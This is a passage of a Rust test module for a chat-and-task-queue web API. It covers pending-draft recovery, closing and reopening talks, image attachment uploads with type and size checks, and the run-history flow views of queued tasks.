16003            .await;
16004            assert!(
16005                crate::chat_worker::try_publication_guard(&talks, &id)
16006                    .expect("publication fence after disconnect")
16007                    .is_none()
16008            );
16009
16010            // Only now let the gated write proceed. It persists the draft
16011            // and reclaims the now-free slot from inside the task the busy
16012            // branch already spawned - unaffected by the handler's abort
16013            // above, since that task was independent of the handler's own
16014            // future from the moment it was spawned.
16015            let _ = release_tx.send(());
16016            drop(
16017                tokio::time::timeout(Duration::from_secs(5), closing)
16018                    .await
16019                    .expect("short admission transaction should release for replacement"),
16020            );
16021            assert!(
16022                crate::chat_worker::try_publication_guard(&talks, &id)
16023                    .expect("publication fence after acknowledgement")
16024                    .is_some(),
16025                "the publication fence is not retained by the long response"
16026            );
16027
16028            // A settled talk: the draft drained into an operator turn and
16029            // answered.
16030            let mut fresh = talks.get(&id).expect("reload talk");
16031            for _ in 0..SETTLE_STEPS {
16032                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16033                    break;
16034                }
16035                tokio::time::sleep(Duration::from_millis(10)).await;
16036                fresh = talks.get(&id).expect("reload talk");
16037            }
16038            assert!(
16039                fresh.pending.is_empty() && fresh.turns.len() == 2,
16040                "attempt {attempt}: talk {id} left the operator's text queued \
16041                 with no drainer - the reclaimed turn was dropped along with \
16042                 the handler future (pending {:?}, {} turns)",
16043                fresh.pending,
16044                fresh.turns.len()
16045            );
16046        }
16047    }
16048
16049    #[tokio::test]
16050    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16051        let (_tmp, _repo, f) = talk_fixture().await;
16052        let id = f.post("/api/talks", None).await.json()["id"]
16053            .as_str()
16054            .expect("id")
16055            .to_owned();
16056        let store = f.talks();
16057        let mut recovered = store.get(&id).expect("opened talk");
16058        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16059            .expect("persist pending draft without a live turn");
16060
16061        let edited = f
16062            .post(
16063                &format!("/api/talks/{id}/pending/edit"),
16064                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16065            )
16066            .await;
16067        assert_eq!(edited.status, 200, "{}", edited.body);
16068        assert!(edited.json()["thinking"].as_bool().unwrap());
16069
16070        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16071        for _ in 0..SETTLE_STEPS {
16072            if detail["turns"].as_array().expect("turns").len() == 2 {
16073                break;
16074            }
16075            tokio::time::sleep(Duration::from_millis(10)).await;
16076            detail = f.get(&format!("/api/talks/{id}")).await.json();
16077        }
16078        let turns = detail["turns"].as_array().expect("turns");
16079        assert_eq!(
16080            turns.len(),
16081            2,
16082            "the recovered draft must run once: {detail}"
16083        );
16084        assert_eq!(turns[0]["body"], "corrected");
16085        assert_eq!(detail["pending"], "");
16086    }
16087
16088    #[tokio::test]
16089    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16090        let tmp = TempDir::new().expect("tempdir");
16091        let repo = tmp.path().join("repo");
16092        std::fs::create_dir_all(&repo).expect("repo dir");
16093        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16094        let f = Fixture::with_repo(repo).await;
16095        let id = f.post("/api/talks", None).await.json()["id"]
16096            .as_str()
16097            .expect("id")
16098            .to_owned();
16099        let store = f.talks();
16100        let mut recovered = store.get(&id).expect("opened talk");
16101        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16102            .expect("persist pending draft without a live turn");
16103
16104        let refused = f
16105            .post(
16106                &format!("/api/talks/{id}/say"),
16107                Some(r#"{"text":"new message"}"#),
16108            )
16109            .await;
16110        assert_eq!(refused.status, 409, "{}", refused.body);
16111        assert!(refused.body.contains("resume"), "{}", refused.body);
16112        let saved = store.get(&id).expect("draft remains after refusal");
16113        assert!(saved.turns.is_empty());
16114        assert_eq!(saved.pending, "saved before restart");
16115
16116        let say_path = format!("/api/talks/{id}/say");
16117        let (first, second) = tokio::join!(
16118            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16119            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16120        );
16121        assert_eq!(first.status, 409, "{}", first.body);
16122        assert_eq!(second.status, 409, "{}", second.body);
16123        let saved = store
16124            .get(&id)
16125            .expect("draft remains after concurrent refusals");
16126        assert!(saved.turns.is_empty());
16127        assert_eq!(saved.pending, "saved before restart");
16128
16129        let resumed = f
16130            .post(&format!("/api/talks/{id}/pending/resume"), None)
16131            .await;
16132        assert_eq!(resumed.status, 202, "{}", resumed.body);
16133        let duplicate = f
16134            .post(&format!("/api/talks/{id}/pending/resume"), None)
16135            .await;
16136        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16137
16138        for _ in 0..SETTLE_STEPS {
16139            if store.get(&id).expect("talk").turns.len() == 2 {
16140                break;
16141            }
16142            tokio::time::sleep(Duration::from_millis(10)).await;
16143        }
16144        let finished = store.get(&id).expect("finished talk");
16145        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16146        assert_eq!(finished.turns[0].body, "saved before restart");
16147        assert!(finished.pending.is_empty());
16148    }
16149
16150    #[tokio::test]
16151    async fn an_image_only_recovered_draft_resumes_without_text() {
16152        let (_tmp, _repo, f) = talk_fixture().await;
16153        let id = f.post("/api/talks", None).await.json()["id"]
16154            .as_str()
16155            .expect("id")
16156            .to_owned();
16157        let uploaded = f
16158            .post_bytes(
16159                &format!("/api/talks/{id}/attachments"),
16160                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16161                PNG_BYTES,
16162            )
16163            .await;
16164        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16165        let attachment = f
16166            .talks()
16167            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16168            .expect("attachment metadata")
16169            .expect("stored attachment");
16170        let store = f.talks();
16171        let mut recovered = store.get(&id).expect("opened talk");
16172        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16173
16174        let resumed = f
16175            .post(&format!("/api/talks/{id}/pending/resume"), None)
16176            .await;
16177        assert_eq!(resumed.status, 202, "{}", resumed.body);
16178        for _ in 0..SETTLE_STEPS {
16179            if store.get(&id).expect("talk").turns.len() == 2 {
16180                break;
16181            }
16182            tokio::time::sleep(Duration::from_millis(10)).await;
16183        }
16184        let finished = store.get(&id).expect("finished talk");
16185        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16186        assert!(finished.turns[0].body.is_empty());
16187        assert_eq!(finished.turns[0].attachments.len(), 1);
16188        assert!(finished.pending_attachments.is_empty());
16189    }
16190
16191    #[tokio::test]
16192    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16193        let (_tmp, _repo, f) = talk_fixture().await;
16194        let id = f.post("/api/talks", None).await.json()["id"]
16195            .as_str()
16196            .expect("id")
16197            .to_owned();
16198        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16199        assert_eq!(closed.status, 200, "{}", closed.body);
16200        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16201            .expect("serialize closed talk");
16202        for (path, body) in [
16203            (format!("/api/talks/{id}/pending/resume"), None),
16204            (
16205                format!("/api/talks/{id}/pending/clear"),
16206                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16207            ),
16208            (
16209                format!("/api/talks/{id}/pending/edit"),
16210                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16211            ),
16212            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16213        ] {
16214            let response = f.post(&path, body).await;
16215            assert_eq!(response.status, 409, "{}", response.body);
16216        }
16217        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16218            .expect("serialize closed talk");
16219        assert_eq!(
16220            after_clear, before_clear,
16221            "clear must not rewrite a closed talk"
16222        );
16223    }
16224
16225    /// Keeps both claims observable long enough to exercise the distinction
16226    /// between one busy talk and a globally locked Chat surface.
16227    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16228
16229    #[tokio::test]
16230    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16231        let tmp = TempDir::new().expect("tempdir");
16232        let repo = tmp.path().join("repo");
16233        std::fs::create_dir_all(&repo).expect("repo dir");
16234        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16235        let f = Fixture::with_repo(repo).await;
16236        let id_a = f.post("/api/talks", None).await.json()["id"]
16237            .as_str()
16238            .unwrap()
16239            .to_owned();
16240        let id_b = f.post("/api/talks", None).await.json()["id"]
16241            .as_str()
16242            .unwrap()
16243            .to_owned();
16244
16245        let a = f
16246            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16247            .await;
16248        assert_eq!(a.status, 202, "{}", a.body);
16249        assert_eq!(a.json()["thinking"], true);
16250        let b = f
16251            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16252            .await;
16253        assert_eq!(b.status, 202, "{}", b.body);
16254        assert_eq!(b.json()["thinking"], true);
16255
16256        let listed = f.get("/api/talks").await.json();
16257        for id in [&id_a, &id_b] {
16258            let view = listed
16259                .as_array()
16260                .unwrap()
16261                .iter()
16262                .find(|talk| talk["id"] == *id)
16263                .unwrap();
16264            assert_eq!(view["thinking"], true, "{listed}");
16265        }
16266        let repeated = f
16267            .post(
16268                &format!("/api/talks/{id_a}/say"),
16269                Some(r#"{"text":"again"}"#),
16270            )
16271            .await;
16272        assert_eq!(repeated.status, 202, "{}", repeated.body);
16273        assert_eq!(repeated.json()["pending"], "again");
16274    }
16275
16276    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16277    /// few more, since real uploads are never exactly eight bytes.
16278    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16279
16280    #[tokio::test]
16281    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16282        let f = Fixture::start().await;
16283        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16284
16285        let res = f
16286            .post_bytes(
16287                &format!("/api/talks/{id}/attachments"),
16288                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16289                PNG_BYTES,
16290            )
16291            .await;
16292        assert_eq!(res.status, 201, "{}", res.body);
16293        let body = res.json();
16294        assert_eq!(body["name"], "shot.png");
16295        assert_eq!(body["mime"], "image/png");
16296        assert_eq!(body["bytes"], PNG_BYTES.len());
16297        let att_id = body["id"].as_str().expect("id").to_owned();
16298        assert_eq!(
16299            att_id.len(),
16300            32,
16301            "the id must never be a client-suppliable path: {att_id}"
16302        );
16303
16304        let got = f
16305            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16306            .await;
16307        assert_eq!(got.status, 200, "{}", got.body);
16308        assert_eq!(got.header("content-type"), Some("image/png"));
16309        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16310        assert_eq!(got.bytes, PNG_BYTES);
16311    }
16312
16313    #[tokio::test]
16314    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16315        let f = Fixture::start().await;
16316        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16317
16318        // SVG can carry a `<script>`, so it is never on the whitelist even
16319        // though it is a real IANA image type.
16320        let svg = f
16321            .post_bytes(
16322                &format!("/api/talks/{id}/attachments"),
16323                &[("Content-Type", "image/svg+xml")],
16324                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16325            )
16326            .await;
16327        assert!(
16328            (400..500).contains(&svg.status),
16329            "svg must be refused: {} {}",
16330            svg.status,
16331            svg.body
16332        );
16333        assert!(svg.body.contains("SVG"), "{}", svg.body);
16334
16335        let text = f
16336            .post_bytes(
16337                &format!("/api/talks/{id}/attachments"),
16338                &[("Content-Type", "text/plain")],
16339                b"just some text",
16340            )
16341            .await;
16342        assert!(
16343            (400..500).contains(&text.status),
16344            "an unlisted type must be refused: {} {}",
16345            text.status,
16346            text.body
16347        );
16348
16349        // The declared type is a real png, but the size check runs before
16350        // the bytes are even looked at.
16351        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16352        let big = f
16353            .post_bytes(
16354                &format!("/api/talks/{id}/attachments"),
16355                &[("Content-Type", "image/png")],
16356                &oversized,
16357            )
16358            .await;
16359        assert_eq!(
16360            big.status,
16361            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16362            "{}",
16363            big.body
16364        );
16365    }
16366
16367    #[tokio::test]
16368    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16369        let f = Fixture::start().await;
16370        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16371
16372        // A whitelisted `Content-Type`, but bytes that are not actually a
16373        // png - the declared header alone is never trusted.
16374        let res = f
16375            .post_bytes(
16376                &format!("/api/talks/{id}/attachments"),
16377                &[("Content-Type", "image/png")],
16378                b"<html>not a picture</html>",
16379            )
16380            .await;
16381        assert!((400..500).contains(&res.status), "{}", res.body);
16382    }
16383
16384    #[tokio::test]
16385    async fn an_unknown_attachment_id_is_a_404() {
16386        let f = Fixture::start().await;
16387        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16388
16389        let res = f
16390            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16391            .await;
16392        assert_eq!(res.status, 404, "{}", res.body);
16393    }
16394
16395    #[tokio::test]
16396    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16397        let f = Fixture::start().await;
16398        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16399
16400        let uploaded = f
16401            .post_bytes(
16402                &format!("/api/talks/{id}/attachments"),
16403                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16404                PNG_BYTES,
16405            )
16406            .await;
16407        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16408        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16409
16410        let res = f
16411            .post(
16412                &format!("/api/talks/{id}/say"),
16413                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16414            )
16415            .await;
16416        assert_eq!(res.status, 202, "{}", res.body);
16417        let queued = res.json();
16418        let turns = queued["turns"].as_array().expect("turns array");
16419        assert_eq!(
16420            turns.len(),
16421            1,
16422            "an empty body with an attachment is still a turn: {queued}"
16423        );
16424        assert_eq!(turns[0]["who"], "operator");
16425        assert_eq!(turns[0]["body"], "");
16426        let atts = turns[0]["attachments"]
16427            .as_array()
16428            .expect("attachments array");
16429        assert_eq!(atts.len(), 1);
16430        assert_eq!(atts[0]["id"], att_id);
16431        assert_eq!(atts[0]["mime"], "image/png");
16432
16433        // Not only in the response: `record` flushes to disk before the
16434        // agent's own turn is even spawned.
16435        let on_disk = f.talks().get(&id).expect("get");
16436        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16437        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16438    }
16439
16440    #[tokio::test]
16441    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16442        let f = Fixture::start().await;
16443        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16444
16445        let res = f
16446            .post(
16447                &format!("/api/talks/{id}/say"),
16448                Some(&format!(
16449                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16450                    "a".repeat(32)
16451                )),
16452            )
16453            .await;
16454        assert!((400..500).contains(&res.status), "{}", res.body);
16455        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16456
16457        let on_disk = f.talks().get(&id).expect("get");
16458        assert!(
16459            on_disk.turns.is_empty(),
16460            "a rejected attachment id must not partially record the turn: {:?}",
16461            on_disk.turns
16462        );
16463    }
16464
16465    #[tokio::test]
16466    async fn talk_close_makes_the_talk_refuse_further_turns() {
16467        let f = Fixture::start().await;
16468        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16469
16470        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16471        assert_eq!(closed.status, 200, "{}", closed.body);
16472        assert_eq!(closed.json()["status"], "closed");
16473
16474        // Idempotent: closing an already-closed talk is not an error.
16475        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16476        assert_eq!(closed_again.status, 200);
16477        assert_eq!(closed_again.json()["status"], "closed");
16478
16479        let said = f
16480            .post(
16481                &format!("/api/talks/{id}/say"),
16482                Some(r#"{"text":"too late"}"#),
16483            )
16484            .await;
16485        assert_eq!(said.status, 409, "{}", said.body);
16486    }
16487
16488    #[tokio::test]
16489    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16490        let (_tmp, _repo, f) = talk_fixture().await;
16491        let id = f.post("/api/talks", None).await.json()["id"]
16492            .as_str()
16493            .expect("id")
16494            .to_owned();
16495        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16496        assert_eq!(closed.status, 200, "{}", closed.body);
16497
16498        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16499        assert_eq!(reopened.status, 200, "{}", reopened.body);
16500        assert_eq!(reopened.json()["status"], "open");
16501
16502        // Idempotent: reopening an already-open talk is not an error.
16503        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16504        assert_eq!(reopened_again.status, 200);
16505        assert_eq!(reopened_again.json()["status"], "open");
16506
16507        let said = f
16508            .post(
16509                &format!("/api/talks/{id}/say"),
16510                Some(r#"{"text":"still there?"}"#),
16511            )
16512            .await;
16513        assert_eq!(
16514            said.status, 202,
16515            "a reopened talk accepts turns again: {}",
16516            said.body
16517        );
16518    }
16519
16520    #[tokio::test]
16521    async fn talk_reopen_on_an_unknown_id_is_404() {
16522        let f = Fixture::start().await;
16523        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16524        assert_eq!(res.status, 404, "{}", res.body);
16525    }
16526
16527    #[tokio::test]
16528    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16529        let f = Fixture::start().await;
16530        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16531
16532        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16533        assert_eq!(deleted.status, 204, "{}", deleted.body);
16534
16535        let after = f.get(&format!("/api/talks/{id}")).await;
16536        assert_eq!(after.status, 404, "{}", after.body);
16537
16538        let listed = f.get("/api/talks").await.json();
16539        assert!(
16540            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16541            "a deleted talk must not linger in the list: {listed}"
16542        );
16543    }
16544
16545    #[tokio::test]
16546    async fn talk_delete_on_an_unknown_id_is_404() {
16547        let f = Fixture::start().await;
16548        let res = f.delete("/api/talks/nonexistent-id").await;
16549        assert_eq!(res.status, 404, "{}", res.body);
16550    }
16551
16552    /// A task's page lists every run it ever had, in order, and says what kind
16553    /// of attempt each was - including a resume, which re-pushes the same run
16554    /// id, and a run whose record this build cannot read.
16555    #[tokio::test]
16556    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16557        let f = Fixture::start().await;
16558        let (a, b, gone) = (
16559            "20260902-140501-aaaa",
16560            "20260902-140502-bbbb",
16561            "20260902-140503-cccc",
16562        );
16563        write_run(&f.runs(), a, RunStatus::Stalled);
16564        let mut review = RunState::new(
16565            PathBuf::from("/repo/magi"),
16566            "main".to_owned(),
16567            "0123456789abcdef".to_owned(),
16568            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16569                .to_owned(),
16570            Config::default(),
16571        );
16572        review.id = b.to_owned();
16573        review.status = RunStatus::Merged;
16574        write_state(&f.runs(), &review);
16575
16576        let mut task = Task::new(
16577            "retry".to_owned(),
16578            "Do the thing".to_owned(),
16579            PathBuf::from("/repo/magi"),
16580            Source::Human,
16581        );
16582        task.start(a.to_owned());
16583        task.stall("quota");
16584        task.start(a.to_owned());
16585        task.start(b.to_owned());
16586        task.start(gone.to_owned());
16587        // This fixture models an older queue file with repeated run entries.
16588        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16589        f.queue().put(&mut task).expect("file the task");
16590
16591        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16592        assert_eq!(res.status, 200, "{}", res.body);
16593        let v = res.json();
16594        let h = v["history"].as_array().expect("history");
16595        assert_eq!(h.len(), 4, "{v}");
16596        assert_eq!(h[0]["kind"], "competition");
16597        assert_eq!(h[0]["status"], "stalled");
16598        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16599        assert_eq!(h[1]["kind"], "resume", "{v}");
16600        assert!(
16601            h[0]["outcome"]
16602                .as_str()
16603                .unwrap()
16604                .contains("unknown. Pass #2"),
16605            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16606        );
16607        assert!(
16608            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16609            "{v}"
16610        );
16611        assert!(
16612            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16613            "an unrecorded cause must not be narrated as an operator park: {v}"
16614        );
16615        assert_eq!(h[2]["kind"], "review");
16616        assert!(
16617            h[2]["description"]
16618                .as_str()
16619                .unwrap()
16620                .contains("magi/aaaa/A")
16621        );
16622        assert_eq!(h[2]["status"], "merged");
16623        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16624        assert_eq!(v["runs_unreadable"], 1);
16625        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16626        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16627        assert_eq!(nodes[4]["note"], "unreadable");
16628        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16629        assert_eq!(v["instruction"], "Do the thing");
16630        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16631
16632        // The run's own page links back to the task.
16633        let run = f.get(&format!("/api/runs/{a}")).await.json();
16634        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16635
16636        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16637    }
16638
16639    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16640        let mut s = RunState::new(
16641            PathBuf::from("/repo/magi"),
16642            "main".to_owned(),
16643            "0123456789abcdef".to_owned(),
16644            "Do it".to_owned(),
16645            Config::default(),
16646        );
16647        s.status = status;
16648        edit(&mut s);
16649        s
16650    }
16651
16652    fn flow_task(runs: &[&str]) -> Task {
16653        let mut t = Task::new(
16654            "t".to_owned(),
16655            "Do it".to_owned(),
16656            PathBuf::from("/repo/magi"),
16657            Source::Human,
16658        );
16659        for r in runs {
16660            t.start((*r).to_owned());
16661        }
16662        // Synthetic flows without RunPass records model legacy queue data.
16663        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16664        t
16665    }
16666
16667    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16668        let h = task_history(task, |id| {
16669            states
16670                .iter()
16671                .find(|(i, _)| *i == id)
16672                .and_then(|(_, s)| s.clone())
16673        });
16674        task_flow(task, &h, 5, None)
16675    }
16676
16677    #[test]
16678    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16679        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16680        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16681        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16682        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16683        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16684        let run = flow_run(RunStatus::Implementing, |s| {
16685            s.created_at = created;
16686            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16687            s.passes[0].started_at = first;
16688            s.passes[1].started_at = resumed;
16689        });
16690        let mut task = flow_task(&[RUN_X, RUN_X]);
16691        task.created_at = queued;
16692        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16693        task.status = TaskStatus::Held;
16694        task.held_at = Some(held);
16695        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16696        assert_eq!(
16697            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16698            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16699        );
16700        assert!(flow.nodes.iter().all(|n| n.time_expected));
16701        let json = serde_json::to_value(&flow).unwrap();
16702        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16703        assert_eq!(json["nodes"][2]["time_expected"], true);
16704    }
16705
16706    #[test]
16707    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16708        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16709        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16710        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16711        // These timestamps are not the start of the current status.
16712        task.held_at = Some(created);
16713        task.blocked_at = Some(created);
16714        for status in [
16715            TaskStatus::Queued,
16716            TaskStatus::Running,
16717            TaskStatus::Blocked,
16718            TaskStatus::Done,
16719            TaskStatus::Failed,
16720            TaskStatus::Parked,
16721            TaskStatus::Held,
16722        ] {
16723            task.status = status;
16724            if status == TaskStatus::Held {
16725                task.held_at = None;
16726            }
16727            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16728            assert_eq!(flow.nodes[1].started_at, Some(created));
16729            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16730            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16731            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16732            let json = serde_json::to_value(&flow).unwrap();
16733            assert!(json["nodes"][3]["started_at"].is_null());
16734            assert_eq!(json["nodes"][3]["time_expected"], true);
16735        }
16736    }
16737
16738    #[test]
16739    fn flow_context_links_do_not_expect_start_times() {
16740        let mut task = flow_task(&[]);
16741        task.source = Source::Agent {
16742            run: "chat-id".to_owned(),
16743            node: "chat".to_owned(),
16744        };
16745        let origin = followup_origin(&fu(None), |_| None, |_| None);
16746        let flow = task_flow(&task, &[], 5, Some(&origin));
16747        for node in &flow.nodes[..2] {
16748            assert!(!node.time_expected);
16749            assert_eq!(node.started_at, None);
16750        }
16751        assert!(flow.nodes[2].time_expected);
16752    }
16753
16754    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16755        crate::queue::FollowUp {
16756            run: "20260901-000000-aaaa".to_owned(),
16757            origin_task: origin_task.map(str::to_owned),
16758            pr: "https://example.com/o/r/pull/1".to_owned(),
16759            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16760                .map(str::to_owned)
16761                .to_vec(),
16762            generation: 1,
16763        }
16764    }
16765
16766    fn parent_task() -> Task {
16767        let mut p = flow_task(&[]);
16768        p.title = "Parent title".to_owned();
16769        p.status = TaskStatus::Done;
16770        p
16771    }
16772
16773    #[test]
16774    fn flow_opens_with_the_parent_task_of_a_followup() {
16775        let p = parent_task();
16776        let pid = p.id.clone();
16777        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16778        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16779        let n = &f.nodes[0];
16780        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16781        assert_eq!(
16782            n.label,
16783            format!("Follow-up of {}", crate::queue::short(&pid))
16784        );
16785        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16786        assert_eq!(n.status, Some("done"));
16787        assert_eq!(n.status_of, "task");
16788        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16789        assert_eq!(f.nodes[1].key, "start");
16790        assert_eq!(f.edges[0].from, "origin");
16791        assert_eq!(
16792            f.edges[0].label,
16793            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16794        );
16795    }
16796
16797    #[test]
16798    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16799        let o = followup_origin(
16800            &fu(Some("gone")),
16801            |_| None,
16802            |_| {
16803                Some(RunState::new(
16804                    std::path::PathBuf::from("."),
16805                    "main".to_owned(),
16806                    "0".to_owned(),
16807                    "t".to_owned(),
16808                    crate::config::Config::default(),
16809                ))
16810            },
16811        );
16812        assert!(o.parent.is_none());
16813        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16814        let n = &f.nodes[0];
16815        assert_eq!(n.status_of, "run");
16816        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16817        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16818    }
16819
16820    #[test]
16821    fn flow_followup_with_nothing_readable_has_no_link() {
16822        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16823        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16824        let n = &f.nodes[0];
16825        assert_eq!(n.href, None);
16826        assert_eq!(n.note, Some("unreadable"));
16827        assert!(!n.readable);
16828    }
16829
16830    #[test]
16831    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16832        let o = followup_origin(&fu(None), |_| None, |_| None);
16833        let mut t = flow_task(&[]);
16834        t.origin_chat = Some("c1".to_owned());
16835        let f = task_flow(&t, &[], 5, Some(&o));
16836        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16837        t.source = Source::Agent {
16838            run: "c1".to_owned(),
16839            node: crate::queue::CHAT_NODE.to_owned(),
16840        };
16841        let f = task_flow(&t, &[], 5, Some(&o));
16842        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16843        assert_eq!(
16844            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16845            ("chat", "origin")
16846        );
16847    }
16848
16849    #[test]
16850    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16851        let mut p = parent_task();
16852        p.id = "a b/c".to_owned();
16853        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16854        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16855    }
16856
16857    #[test]
16858    fn flow_opens_with_the_chat_that_queued_the_task() {
